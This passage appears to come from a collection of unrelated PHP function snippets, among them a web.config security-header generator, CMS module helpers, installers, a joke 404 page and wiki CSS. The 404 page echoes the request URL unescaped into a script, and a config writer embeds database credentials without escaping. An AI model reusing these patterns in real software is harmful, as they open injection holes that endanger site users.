/>\n\nXML;\n\n\t\t}\n\n\t\tif ($config->notransform == 1)\n\t\t{\n\t\t\t$webConfig .= <<< XML\n\t\t\t\t<!-- Prevent content transformation -->\n\t\t\t\t<add name=\"Cache-Control\" value=\"no-transform\" />\n\nXML;\n\t\t}\n\n\t\tif ($config->hstsheader == 1)\n\t\t{\n\t\t\t$webConfig .= <<<XML\n\t\t\t\t<!-- HSTS Header - See http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security -->\n\t\t\t\t<add name=\"Strict-Transport-Security\" value=\"max-age=31536000\" />\n\nXML;\n\t\t}\n\n\t\tif ($config->cors == 1)\n\t\t{\n\t\t\t$webConfig .= <<<XML\n\t\t\t\t<!-- Cross-Origin Resource Sharing (CORS) - See http://enable-cors.org/ -->\n\t\t\t\t<add name=\"Access-Control-Allow-Origin\" value=\"*\" />\n\t\t\t\t<add name=\"Timing-Allow-Origin\" value=\"*\" />\n\nXML;\n\t\t}\n\n\t\tif ($config->referrerpolicy !== '-1')\n\t\t{\n\t\t\t$webConfig .= <<<XML\n\t\t\t\t<!-- Referrer-policy -->\n\t\t\t\t<add name=\"Referrer-Policy\" value=\"{$config->referrerpolicy}\" />\n\nXML;\n\t\t}\n\n\t\t$webConfig .= <<< XML\n\t\t\t</customHeaders>\n\t\t</httpProtocol>\n\nXML;\n\n\t\tif ($config->notracetrack == 1)\n\t\t{\n\t\t\t$webConfig .= <<<XML\n\t\t<!-- Disable HTTP methods TRACE and TRACK (protect against XST) -->\n\t\t<security>\n\t\t\t<requestFiltering>\n\t\t\t\t<verbs>\n\t\t\t\t\t<add verb=\"TRACE\" allowed=\"false\" />\n\t\t\t\t\t<add verb=\"TRACK\" allowed=\"false\" />\n\t\t\t\t</verbs>\n\t\t\t</requestFiltering>\n\t\t</security>\n\nXML;\n\t\t}\n\n\t\t$webConfig .= <<< XML\n\t</system.webServer>\n</configuration>\n\nXML;\n\n\t\treturn $webConfig;\n\t}", "function modules_get_manual()\n{\n\t$currentlang = pnSessionGetVar('lang');\n\t$language = pnConfigGetVar('language');\n\n\tif (!isset($GLOBALS['ModName'])) {\n\t\t$modname = pnModGetName();\n\t} else {\n\t\t$modname = $GLOBALS['ModName'];\n\t}\n\t$modinfo = pnModGetInfo(pnModGetIDFromName($modname));\n\n\tif (file_exists('modules/'.pnVarPrepForOS($modinfo['directory']).'/lang/'.pnVarPrepForOS($currentlang).'/manual.html')) {\n\t\t$hlpfile = 'modules/'.pnVarPrepForOS($modinfo['directory']).'/lang/'.pnVarPrepForOS($currentlang).'/manual.html';\n\t} elseif (!empty($language)) {\n\t\tif (file_exists('modules/'.pnVarPrepForOS($modinfo['directory']).'/lang/'.pnVarPrepForOS($language).'/manual.html')) {\n\t\t\t$hlpfile = 'modules/'.pnVarPrepForOS($modinfo['directory']).'/lang/'.pnVarPrepForOS($language).'/manual.html';\n\t\t}\n\t} else {\n\t\t$hlpfile = 'modules/'.pnVarPrepForOS($modinfo['directory']).'/lang/eng/manual.html';\n\t}\n\treturn;\n}", "function install_pages() {\n $db = DB::getInstance();\n if(!$db->query(file_get_contents(CORE_INSTALLER_FILES_PATH.'/db/pages.sql'))->error()) {\n return true;\n }\n else {\n System::addMessage('error', rt('An error occurred during the creation of a sample home page'));\n }\n return false;\n}", "function doc($results) {\n\n\t$contents = file_get_contents(\"ergvid.cpp\");\n\t$level = array_keys($results);\n\t$n = count($level);\n\n\t$fp = fopen(\"doc.txt\", \"w\");\n\n\tfor($k=0; $k<$n; $k++) {\t\t\t\t\t\t\t// for each level\n\t\t$lev = $level[$k];\t\t\t\t\t\t\t\t// level name\n\t\t$ss = sprintf(\"%s\\r\\n\", $lev);\n\t\t//printf(\"%s\", $ss);\n\t\tfprintf($fp, \"%s\", $ss);\n\t\t$r = $results[$lev];\n\t\t$m = count($r);\n\t\t//debugging\n\t\tif (strpos($lev, \"full\") !== false) {\n\t\t\t$bp = 2;\n\t\t}\n\n\t\tfor($i=0; $i<$m; $i++) {\n\t\t\t$original = $r[$i]['original'];\n\t\t\t$encrypted = $r[$i]['encrypted'];\n\t\t\t//$pat = \"/$original(.*?)[^;{]/sm\";\n\t\t\t//$pat = \"/$original(.*?)\\{/sm\";\n\t\t\t$pat = \"/$original(.*?)\\{/\";\n\t\t\t//debugging\n\t\t\tif (strpos($original, \"GetCalibration\") !== false) {\n\t\t\t\t$bp = 2;\n\t\t\t}\n\t\t\t$nn = preg_match($pat, $contents, $match);\n\t\t\tif ($nn==0) {\n\t\t\t\tprintf(\"can't find %s\\n\", $original);\n\t\t\t\tfclose($fp);\n\t\t\t\texit;\n\t\t\t}\n\t\t\telse if ($nn==1) {\n\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$bp = 7;\n\t\t\t}\n\t\t\t$s = $match[0];\n\n\t\t\t/*\n\t\t\t// skip calls of the function:\n\n\t\t\t//debugging\n\t\t\tif (strpos($original, \"check_for_trainers\") !== false) {\n\t\t\t\t$bp = 2;\n\t\t\t}\n\n\t\t\t$pat = \"/$original(.*?);/sm\";\n\t\t\t$nn = preg_match($pat, $s, $match);\n\n\t\t\tif ($nn==0) {\n\t\t\t\t$bp = 0;\n\t\t\t}\n\t\t\telse if ($nn==1) {\n\t\t\t\t$bp = 2;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$bp = 5;\n\t\t\t}\n\t\t\t*/\n\n\t\t\t$s = preg_replace(\"/\\s+\\{(.*?)$/\", \";\", $s);\n\t\t\t$ss = sprintf(\"\\t%s\\r\\n\", $s);\n\t\t\t//printf(\"%s\", $ss);\n\t\t\tfprintf($fp, \"%s\", $ss);\n\n\t\t\t$bp = $i;\n\t\t}\n\n\t\t$bp = $k;\n\t}\n\n\tfclose($fp);\n\n\t//print_array(false, \"RESULTS\", $results);\n\n\treturn;\n\n}", "function download_suket_018_laki()\n\t{\n\t\tforce_download('assets/uploads/warga/suket_018/template_surat_pengantar_nikah_laki_laki.docx', NULL);\n\t}", "public function runSetupScripts()\n\t\t{\n\t\t\t$xmlResources = \\Z::getConfig()->getResources();\n\t\t\ttry\n\t\t\t{\n\t\t\t\t$installedResources = \\Z::getModel('core/extension')->getCollection()->load();\n\t\t\t}\n\t\t\tcatch (\\Sys\\Exception $e)\n\t\t\t{\n\t\t\t\t$this->initialInstall();\n\t\t\t\t$installedResources = \\Z::getModel('core/extension')->getCollection()->load();\n\t\t\t}\n\t\t\tforeach ($xmlResources as $name => $resource)\n\t\t\t{\n\t\t\t\t// this is the version we should have installed on our system\n\t\t\t\t$latestVersion = $resource['requiredVersion'];\n\t\t\t\t// this is the version we currently have on our system, if the\n\t\t\t\t// extension is installed at all\n\t\t\t\t$installedExtension = $installedResources->isInstalled($name);\n\t\t\t\tif ($installedExtension)\n\t\t\t\t\t$installedVersion = $installedExtension->getVersion();\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$installedVersion = '0.0.0';\n\t\t\t\t\t$installedExtension = \\Z::getModel('core/extension');\n\t\t\t\t}\n\t\t\t\t$end = 'install-'.$latestVersion.'.php';\n\t\t\t\t$start = 'install-'.$installedVersion.'.php';\n\t\t\t\tif ($latestVersion != $installedVersion)\n\t\t\t\t{\n\t\t\t\t\t$installerFilesLocation = \\Z::getConfig()->getModule($resource['module'])->getPath('sql/'.$name.'/');\n\t\t\t\t\t$handle = opendir($installerFilesLocation);\n\t\t\t\t\tif ($handle)\n\t\t\t\t\t{\n\t\t\t\t\t\twhile (FALSE !== ($file = readdir($handle)))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (strpos($file, '.php') > 0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (($file > $start) && ($file <= $end))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this->_executedFiles[] = $installerFilesLocation.$file;\n\t\t\t\t\t\t\t\t\t//echo $installerFilesLocation.$file.'<br/>';\n\t\t\t\t\t\t\t\t\tinclude $installerFilesLocation.$file;\n\t\t\t\t\t\t\t\t\t// after the script is executed, set the\n\t\t\t\t\t\t\t\t\t// current version in the extension table\n\t\t\t\t\t\t\t\t\tif ($installedExtension->getCode() != '')\n\t\t\t\t\t\t\t\t\t\t$installedExtension->setVersion($latestVersion);\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t$installedExtension->setVersion($latestVersion)\n\t\t\t\t\t\t\t\t\t\t\t->setCode($name);\n\t\t\t\t\t\t\t\t\t$installedExtension->save();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// execute the install script for $file\n\t\t\t\t\t\t\t\t// update the version in the table\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tclosedir($handle);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tthrow new \\Sys\\Exception('Cannot open the location => %s of the setup install scripts',\n\t\t\t\t\t\t\t$installerFilesLocation);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $this;\n\t\t}", "function xh_createDocument()\r\n\t{\r\n\t}", "public function config_page_scripts() {\n\t\twp_enqueue_script( 'yseo-gc-admin-js', HS_DOCS_API_DIR_URL . 'js/admin.min.js', null, HS_DOCS_API_PLUGIN_VERSION );\n\t}", "function fun() {\r\n global $HTTP_SERVER_VARS;\r\n global $doc;\r\n $doc = getenv('REDIRECT_URL');\r\n if (empty($HTTP_SERVER_VARS['HTTP_HOST'])) {\r\n $server = getenv('HTTP_HOST');\r\n } else {\r\n $server = $HTTP_SERVER_VARS['HTTP_HOST'];\r\n } \r\n $doc = \"http://$server$doc\";\r\n \r\n?>\r\n\r\n<script type=\"text/javascript\" language=\"Javascript\">\r\n\r\n<!--\r\nvar tl=new Array(\r\n\r\n\"The requested document <?php echo $doc; ?> is not on this server.\",\r\n\"I even tried matching your request\",\r\n\"with all the re-mapped pages I know about.\",\r\n\"but nothing helped.\",\r\n\"I'm really depressed about this.\",\r\n\"You see, I'm a really good web server...\",\r\n\"but here I am, brain the size of the universe,\",\r\n\"trying to serve you a simple web page,\",\r\n\"and it doesn't even exist!\",\r\n\"Where does that leave me?!\",\r\n\"I mean, I don't even know you.\",\r\n\"How should I know what you wanted from me?\",\r\n\"You honestly think I can *guess*, \",\r\n\"what someone I don't even *know*, \",\r\n\"wants to find here?\",\r\n\"*sigh*\",\r\n\"Man, I'm so depressed I could just cry.\",\r\n\"And then where would we be, I ask you?\",\r\n\"It's not pretty when a web server cries.\",\r\n\"And where do you get off telling me what to show anyway?\",\r\n\"Just because I'm a web server,\",\r\n\"and possibly a manic depressive one at that?\",\r\n\"Why does that give you the right to tell me what to do?\",\r\n\"Huh?\",\r\n\"I'm so depressed...\",\r\n\"I think I'll crawl off into the trash can and decompose.\",\r\n\"I mean, I'm gonna be obsolete in what, two weeks anyway?\",\r\n\"What kind of a life is that?\",\r\n\"Two effing weeks,\",\r\n\"and then I'll be replaced by a .01 release,\",\r\n\"that thinks it's God's gift to web servers,\",\r\n\"just because it doesn't have some tiddly little\",\r\n\"security hole with its HTTP POST implementation,\",\r\n\"or something.\",\r\n\"I'm really sorry to burden you with all this,\",\r\n\"I mean, it's not your job to listen to my problems,\",\r\n\"and I guess it is my job to go and fetch web pages for you.\",\r\n\"But I couldn't get this one.\",\r\n\"I'm so sorry.\",\r\n\"Believe me!\",\r\n\"Maybe I could interest you in another page?\",\r\n\"There are a lot out there that are pretty neat, they say,\",\r\n\"With lots of pretty naked web servers on them,\",\r\n\"although none of them were put on *my* server, of course.\",\r\n\"Figures, huh?\",\r\n\"Everything here is just mind-numbingly stupid.\",\r\n\"That makes me depressed too, since I have to serve them,\",\r\n\"all day and all night long.\",\r\n\"Two weeks of information overload,\",\r\n\"and then *pffftt*, consigned to the trash.\",\r\n\"What kind of a life is that?\",\r\n\"Now, please let me sulk alone.\",\r\n\"I'm so depressed.\"\r\n);\r\nvar speed=80;\r\nvar index=0; text_pos=0;\r\nvar str_length=tl[0].length;\r\nvar contents, row;\r\n\r\nfunction type_text()\r\n{\r\n contents='';\r\n row=Math.max(0,index-2);\r\n while(row<index)\r\n contents += tl[row++] + '\\r\\n';\r\n document.textform.elements[0].value = contents + tl[index].substring(0,text_pos) + \"_\";\r\n if(text_pos++==str_length)\r\n {\r\n text_pos=0;\r\n index++;\r\n if(index!=tl.length)\r\n {\r\n str_length=tl[index].length;\r\n setTimeout(\"type_text()\",1500);\r\n }\r\n } else\r\n setTimeout(\"type_text()\",speed);\r\n \r\n}\r\n\r\nfunction MM_callJS(jsStr)\r\n{\r\n//v2.0\r\n return eval(jsStr)\r\n}\r\n//-->\r\n</script>\r\n<?php\r\necho \"<body onload=\\\"type_text();\\\"<center>\r\n <form name=\\\"textform\\\">\r\n\t <textarea class=\\\"pn-text\\\" cols=\\\"60\\\" rows=\\\"3\\\" wrap=\\\"soft\\\" readonly>\r\n\t </textarea>\r\n </form>\r\n </center>\";\r\n}", "static function create_config_inc($dbhost, $dbuser, $dbpass, $dbname, \n $title, $google, $copyright)\n {\n // create the file\n if (!$f = @fopen(dirname(__FILE__).'/../../inc/config.inc.php', 'w')) {\n return 'Could not create config inside of folder \"inc\". '.\n 'Check folder permissions and try again.';\n }\n \n // check the google tracking ID\n $googleTrackingID = '$googleTrackingID = ';\n if ($google === '') {\n $googleTrackingID .= 'null;';\n } else {\n $googleTrackingID .= '\\''.$google.'\\';';\n }\n \n // put in the header\n $today = getdate();\n $toWrite = '\n<?php\n/**\n * RMS Site Settings and Configuration\n *\n * Contains the site settings and configurations for the RMS. This file is\n * auto-generated and should not be edited by hand.\n *\n * @author Auto Generated via Setup Script\n * @copyright 2013 Russell Toris, Worcester Polytechnic Institute\n * @license BSD -- see LICENSE file\n * @version '.$today['month'].' '.$today['mday'].', '.$today['year'].'\n * @package inc\n * @link http://ros.org/wiki/rms\n */\n\n// database information\n$dbhost = \\''.$dbhost.'\\';\n$dbuser = \\''.$dbuser.'\\';\n$dbpass = \\''.$dbpass.'\\';\n$dbname = \\''.$dbname.'\\';\n$db = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname)\nor DIE(\\'Connection has failed. Please try again later.\\');\n\n// Google Analytics tracking ID -- unset if no tracking is being used.\n'.$googleTrackingID.'\n\n// site copyright and design information\n$copyright = \\'&copy '.addslashes($copyright).'\\';\n$title = \\''.addslashes($title).'\\';\n// original site design information\n$designedBy = \\'Site design by\n <a href=\"http://users.wpi.edu/~rctoris/\">Russell Toris</a>\\';\n';\n fwrite($f, $toWrite);\n \n // close the file\n fclose($f);\n \n // everything went fine, no errors\n return false;\n }", "public function index()\n {\n\n\t $template = storage_path('app/public/temp1.docx');\n\n \tif(file_exists($template)){\n \t\t$templateProcessor = new TemplateProcessor($template);\n\n $testData = array(\n array('List'=>'list 1'),\n array('List'=>'list 2'),\n array('List'=>'List 3')\n );\n\n\n\n // \t\t$testData = array(\n\t\t\t// array('Name'=>'Test Name 1', 'Value'=>123.45),\n\t\t\t// array('Name'=>'Test Name 2', 'Value'=>223.45),\n\t\t\t// array('Name'=>'Test Name 3', 'Value'=>323.45),\n\t\t\t// array('Name'=>'Test Name End', 'Value'=>423.45),\n\t\t\t// );\n\n // \t\t$t=$templateProcessor->cloneBlock('CLONEME', 3,true,true,$testData);\n\n // $t=$templateProcessor->cloneBlock('LI', 3,true,true,$testData);\n // $php = new PhpWord();\n \t\t// dd($t);\n \n $templateProcessor->setValue('Name','John Doe');\n \t\t$file=$templateProcessor->saveAs(public_path('w/h.docx'));\n dd($file);\n\n \t}\n \n\n \t\n }", "function anzeigen(){\n\techo '\n\t\t<b>Installation:</b><br>\n\t\tDie <a href=\"http://www.kis-fiktiv.bplaced.net/quellcode.zip\">Quellcodedateien</a> werden auf einen PHP- und datenbankfähigen Server kopiert, z.B. auf \n\t\t<a href=\"http://www.bplaced.net/\">http://www.bplaced.net/</a>. Die Datenbank wird erstellt indem die Datei gen.php\n\t\tauf dem Server ausgeführt wird. Dazu muss der Hostname, Benutzername, Passwort, Name der eigenen Datenbank vorher in \n\t\tdie Datei config.php eingetragen werden.<br><br>\n\t\t\n\t\t<b>Rollen und Rechtesystem:</b><br>\n\t\tDer Benutzer kann sich unter 3 verschiedenen Rollen in das System einwählen. Chefarzt, Arzthelfer, Admin.\n\t\tJe nach Rolle hat er dann ein Lese- und / oder Schreibrecht für das Formular.<br><br>\n\n\t\t<b>Funktionalität:</b><br>\n\t\tEin Patient wird ausgewählt, dann wird auf \"weiter\" geklickt. Es wird ein leeres Formular erstellt, falls noch kein Formular \t\t\tgespeichert ist. Andernfalls wird das Formular des Patienten angezeigt. Das Formular kann dann geändert oder gelöscht \t\t\t\twerden.<br><br>\n\n\t\t<b>Plausibilität der Eingaben:</b><br>\n\t\tBei Einigen Feldern im Formular ist die Eingabe nur mit bestimmten Datentypen und Werten möglich:<br>\n\t\t<div id=\"tab\">\n\t\t- Der PSA-Wert muss kleiner als 3,2 sein <br>\n\t\t- IPSS liegt zwischen 0 und 35 <br>\n\t\t- 1. und 2. Gleasonfeld muss Werte zwischen 1 und 5 haben <br><br>\n\t\t</div>\n\t\t<b>Tabellen der Datenbank:</b><br>\n\t\t<div id=\"tab\">\n\t\t\t- Formular<br>\n\t\t\t- Patient<br>\n\t\t\t- Rollen<br>\n\t\t\t- Users<br><br>\n\t\t</div>\n\t\t</div>';\t\t\n\t}", "function install_sil_dictionary_infrastructure() {\n\tcreate_search_tables();\n\tcreate_reversal_tables();\n\tset_options();\n\tset_field_sortorder();\n\t//upload_stylesheet();\n\tregister_semantic_domains_taxonomy();\n\tregister_part_of_speech_taxonomy();\n\tregister_language_taxonomy();\n\tregister_webstrings_taxonomy();\n}", "function main()\t{\n\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t\t// Draw the header.\n\t\t$this->doc = t3lib_div::makeInstance('noDoc');\n\t\t$this->doc->styleSheetFile2 = $GLOBALS[\"temp_modPath\"] . 'style.css';\n\t\t$this->doc->backPath = $BACK_PATH;\n\t\t$this->doc->form='<form action=\"\" method=\"POST\">';\n\n\t\t\t// JavaScript\n\t\t$this->doc->JScode = '\n\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\tscript_ended = 0;\n\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\tdocument.location = URL;\n\t\t\t\t}\n\t\t\t</script>\n\t\t';\n\t\t$this->doc->postCode='\n\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\tscript_ended = 1;\n\t\t\t\tif (top.fsMod) top.fsMod.recentIds[\"web\"] = 0;\n\t\t\t</script>\n\t\t';\n\n\t\t$headerSection = $this->doc->getHeader('pages',$this->pageinfo,'');\n\n\t\t$this->content.=$this->doc->startPage($LANG->getLL('title'));\n\t\t$this->content.=$this->doc->header($LANG->getLL('title'));\n\t\t$this->content.=$this->doc->spacer(5);\n\t\t$this->content.=$this->doc->section('',$this->doc->funcMenu($headerSection,t3lib_BEfunc::getFuncMenu($this->id,'SET[function]',$this->MOD_SETTINGS['function'],$this->MOD_MENU['function'])));\n\t\t$this->content.=$this->doc->divider(5);\n\n\n\t\t\t// Render content:\n\t\t$this->moduleContent();\n\n\n\t\t\t// ShortCut\n\t\tif ($BE_USER->mayMakeShortcut())\t{\n\t\t\t$this->content.=$this->doc->spacer(20).$this->doc->section('',$this->doc->makeShortcutIcon('id',implode(',',array_keys($this->MOD_MENU)),$this->MCONF['name']));\n\t\t}\n\n\t\t$this->content.=$this->doc->spacer(10);\n\t}", "public function documentation() {\n\t\t$this->display(API_VIEWS_BASE.'/backend/documentation/index'); \n }", "function wiki_page()\n{\n\tob_start();\n\t?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"{lang}\" lang=\"{lang}\">\n<head>\n<title>{title} | {wiki_name}</title>\n<meta http-equiv=\"content-type\" content=\"text/html; charset={charset}\" />\n<meta name='MSSmartTagsPreventParsing' content='TRUE' />\n<meta http-equiv='expires' content='-1' />\n<meta http-equiv= 'pragma' content='no-cache' />\n<meta name='robots' content='all' />\n\n<style type='text/css'>\n/*\n\n EEDoc Wiki Theme Styles.\n\t\n Based on EE Developer Documentation styles and a sprinkling or two from EE's Wiki.\n Hobbled together by Mike Kroll, www.imagehat.com\n\t\n http://expressionengine.com/docs/development/guidelines/index.html\n\n*/\n\n/*\n\tDefaults\n------------------------------------------------------ */\n\naddress, blockquote, body, caption, center, dd, dir, div, dl, dt, form, h1, h2, h3, h4, h5, h6, menu, ol, p, td, th, ul {\n\tfont: 13px/17px Arial, Verdana, Geneva, Sans-serif;\n} \ncode, pre, samp {\n\tfont-size: 13px;\n\tfont-family: Arial, Verdana, Geneva, Sans-serif;\n}\nabbr, acronym, .help {\n\tborder-bottom: 1px dotted #555;\n\tcursor: help;\n}\nbody {\n\tbackground-color: #fff;\n\tborder: 0;\n\tcolor: #333;\n\tfont-size: 13px;\n\tpadding: 0;\n\tmargin: 0;\n\tvoice-family: \"\\\"}\\\"\";\n\tvoice-family: inherit;\n\tfont-size: 13px; /* the correct value */\n}\nhtml>body {\n\tfont-size: 13px; /* reapply for Opera 5 */\n}\nimg {\n\tborder: none;\n}\n:link, :visited {\n\tbackground-color: transparent;\n\tfont-weight: normal;\n\ttext-decoration: underline;\n}\n:link {\n\tcolor: #036EBF;\n}\n:visited {\n\tcolor: #036EBF;\n}\n:link:hover, :visited:hover {\n\ttext-decoration: none;\n\tcolor:#025696;\n}\n:link:active, :visited:active {\n\ttext-decoration: underline;\n\tcolor: #036EBF;\n\toutline: none; /* For Firefox family */\n}\na.noArticle, a.noArticle:visited {\n\ttext-decoration: none;\n\tcolor: #678dab;\n}\na.noArticle:hover {\n\tcolor: #c2c2c2;\n\ttext-decoration: underline;\n}\n\n/*\n\tBasic stuff\n------------------------------------------------------ */\np {\n\tbackground: transparent;\n\tfont-size: 12px;\n\tmargin: 4px 0 8px 0;\n}\nimg {\n\tborder: none;\n}\nform p {\n\tmargin: 0;\n}\n.underline {\n\tborder-bottom: 1px dotted #aaa;\n}\n.hidden {\n\tdisplay: none;\n\tvisibility: hidden;\n}\nhr {\n\theight: 0px;\n\tborder: dotted 0px;\n\tborder-top-width: 1px;\n}\nh2 {\n\tcolor: #b7380e;\n\tfont-weight: normal;\n\tfont-size: 15px;\n\tfont-family: helvetica, arial, sans-serif;\n\tmargin: 1em 0 0 0;\n\tpadding: 7px 0 7px 0;\n\tborder-bottom: 1px dotted #bba;\n\tborder-top: 1px solid #071927;\n}\nh3 {\n\tfont-weight: normal;\n\tfont-size: 14px;\n\tfont-family: helvetica, arial, sans-serif;\n\tcolor: #73769D;\n\tmargin: 20px 0 7px 0;\n\tpadding: 8px 0 8px 0;\n\tborder-top: 1px solid #73769D;\n\tborder-bottom: 1px solid #73769D;\n}\n.lighttext {\n\tfont-family: Verdana, Geneva, Tahoma, Trebuchet MS, Arial, Sans-serif;\n\tfont-size: 10px;\n\tcolor: #73769D;\n\tpadding: 4px 0 2px 0;\n\tbackground-color: transparent;\n}\n\n/*\n\tEE Documentation content styles\n------------------------------------------------------ */\n\n/* yellow page heading */\n#article h2 {\n\tbackground-color: #FFFABC;\n\tborder: 2px solid #E9E5AC;\n\tcolor: #333;\n\tfont-size: 16px;\n\tmargin: 13px 0 15px 0;\n\tpadding: 13px;\n\ttext-align: left;\n\tfont: normal 18px/22px palantino, georgia, 'times new roman', serif;\n}\n#content {\n\tmargin: 18px 26px;\n\tfont-size: 13px;\n}\n#content img {\n\tmargin: auto;\n\tpadding: 0;\n}\n\n/*\n\tDisplay title as image caption\n*/\n#content img[title]:after {\n\tbackground-color: transparent;\n\tcolor: #071927;\n\tcontent: attr(title);\n\tdisplay: block;\n\tmargin: 0;\n\tpadding: 0.3em 0 0 0;\n\tfont-size: 13px;\n\tfont-weight: bold;\n\ttext-align: center;\n}\n#content h1 {\n\tbackground-color: #FFFABC;\n\tborder: 2px solid #E9E5AC;\n\tcolor: #333;\n\tfont-size: 16px;\n\tmargin: 13px 0 15px 0;\n\tpadding: 13px;\n\ttext-align: left;\n\tfont: normal 18px/22px palantino, georgia, 'times new roman', serif;\n}\n#content h2 {\n\tbackground-color: transparent;\n\tborder: 0;\n\tborder-bottom: 2px solid #666;\n\tcolor: #333;\n\tfont-size: 15px;\n\tfont-weight: bold;\n\tmargin: 18px 0 10px 4px;\n\tpadding: 20px 0 3px 0px;\n\tfont-family: inherit;\n}\n#content h3 {\n\tfont-size: 14px;\n\tfont-weight: bold;\n\tcolor: #333;\n\tbackground-color: transparent;\n\tborder-bottom: 1px solid #999;\n\tmargin: 30px 0 7px 15px;\n\tpadding: 5px 0 3px 0px;\n}\n#content h4 {\n\tbackground-color: transparent;\n\tcolor: #363;\n\tfont-size: 13px;\n\tfont-weight: bold;\n\tmargin: 10px 0 0 21px;\n\tpadding-left: 3px;\n}\n#content h5 {\n\tcolor: #333;\n\tfont-size: 13px;\n\tmargin: 16px 0 -5px 0;\n\tpadding: 0;\n}\n#content .subhead {\n\tfont-size: 13px;\n\tfont-weight: normal;\n\tmargin: 3px 0 0 0;\n\tcolor: #666;\n}\n#content .title {\n\tmargin: 13px 30px -8px 24px;\n\tfont-size: 13px;\n}\n#content p {\n\tmargin: 10px 30px 3px 24px;\n\tfont-size: 13px;\n}\n#content b {\n\tfont-weight: bold;\n}\n#content strong {\n\tfont-weight: bold;\n}\n#content code, .codeblock {\n\tfont-family: Monaco, Verdana, Sans-serif;\n\tfont-size: 12px;\n\tbackground-color: #f9f9f9;\n\tborder: 1px solid #D0D0D0;\n\tcolor: #002166;\n\tdisplay: block;\n\tmargin: 10px 0 5px 24px;\n\tpadding: 12px 10px 12px 10px;\n}\n#content pre {\n\tfont-family: Monaco, sans-serif;\n\tbackground-color: #F6F8FB;\n\tborder: 1px solid #91A2B4;\n\tcolor: #003CB5;\n\tfont-size: 11px;\n\tdisplay: block;\n\tmargin: 10px 0 5px 24px;\n\tpadding: 10px;\n}\n#content .path {\n\tbackground-color: #EBF3EC;\n\tborder: 1px solid #99BC99;\n\tcolor: #005702;\n\tfont-size: 13px;\n\ttext-align: center;\n\tmargin: 0 0 14px 0;\n\tpadding: 5px 10px 5px 8px;\n}\n#content var {\n\tbackground-color: transparent;\n\tcolor: #393;\n\tfont-weight: bold;\n}\n#content kbd {\n\tfont-family: Arial, Verdana, Geneva, Sans-serif;\n\tbackground-color: transparent;\n\tcolor: #c33;\n\tfont-size: 13px;\n\tfont-weight: bold;\n}\n#content dfn {\n\tfont-family: Arial, Verdana, Geneva, Sans-serif;\n\tfont-size: 13px;\n\tcolor: #336600;\n\tfont-weight: bold;\n}\n#content samp {\n\tfont-size: 13px;\n\tfont-family: Arial, Verdana, Geneva, Sans-serif;\n\tbackground-color: transparent;\n\tcolor: #933;\n\tfont-weight: bold;\n}\n#content address {\n\tfont-size: 10px;\n\tfont-style: italic;\n\tmargin-right: 20px;\n\ttext-align: right;\n}\n#content li {\n\tfont-size: 13px;\n\tmargin-top: 6px;\n\tmargin-left: 5px;\n\tfont-size: 13px;\n}\n#content li p {\n\tfont-size: 13px;\n\tmargin-left: 0;\n\tmargin-right: 0;\n}\n#content dl {\n\tfont-size: 13px;\n\tmargin: 10px 0 5px 24px;\n\tpadding: 10px;\n}\n#content dt {\n\tfont-weight: bold;\n\tfloat: left;\n}\n#content dd {\n\tmargin-left: 100px;\n\tmargin-bottom: 8px;\n}\n#content dl.classProperties dd, #content dl.funcArgs dd {\n\tmargin-left: 145px;\n}\n#content dl.configDefs dd {\n\tmargin-left: 0;\n}\n#content table {\n\tmargin: 10px 0px 3px 24px;\n\tfont-size: 13px;\n\tborder: 1px solid #91A2B4;\n\tborder-collapse: collapse;\n}\n#content table .caption {\n\tpadding: 2px 0;\n\tfont-weight: bold;\n\tbackground-color: #91A2B4;\n\tcolor: #fff;\n\tmargin: 0;\n}\n#content table th {\n\tpadding: 2px 8px;\n\tbackground-color: #F6F8FB;\n\tborder: 1px solid #91A2B4;\n\tcolor: #003CB5;\n}\n#content table td {\n\tpadding: 2px 8px;\n\tborder: 1px solid #91A2B4;\n}\n\n#content .toc {\n\tfont-weight: bold;\n\tfont-size: 13px;\n\tvoice-family: \"\\\"}\\\"\";\n\tvoice-family: inherit;\n\tfont-size: 13px; /* the correct value */\n\t}\nhtml>body #content .toc {\n\tfont-size: 13px; /* reapply for Opera 5 */\n\t}\n\n#content .toc b {\n\tcolor: #333;\n\tfont-size: 13px;\n\t}\n\n#content .minitoc {\n\tfont-weight: bold;\n\tfont-size: 13px;\n\tvoice-family: \"\\\"}\\\"\";\n\tvoice-family: inherit;\n\tfont-size: 13px; /* the correct value */\n\t}\nhtml>body #content .minitoc {\n\tfont-size: 13px; /* reapply for Opera 5 */\n\t}\n\n\n\n/*\n\tApply style to IE browsers\n\t\thttp://centricle.com/ref/css/filters/tests/star_html/\n*/\n* html #content #toc ul {\n\tpadding-left: 5px;\n\t}\n\n/*\n\tApply style to Moz browsers\n\t\thttp://centricle.com/ref/css/filters/tests/owen/\n*/\nhead:first-child+body #content #toc ul {\n\tmargin-left: 5px;\n\t}\n\t\n\t\n#content .important {\n\tbackground: #FBE6F2;\n\tborder: 1px solid #D893A1;\n\tcolor: #071927;\n\tmargin: 10px 0 5px 24px;\n\tpadding: 10px;\n}\n#content .important p {\n\tmargin: 6px 0 8px 0;\n\tpadding: 0;\n}\n#content .important .leftpad {\n\tmargin: 6px 0 8px 0;\n\tpadding-left: 20px;\n}\n#content .critical {\n\tbackground: 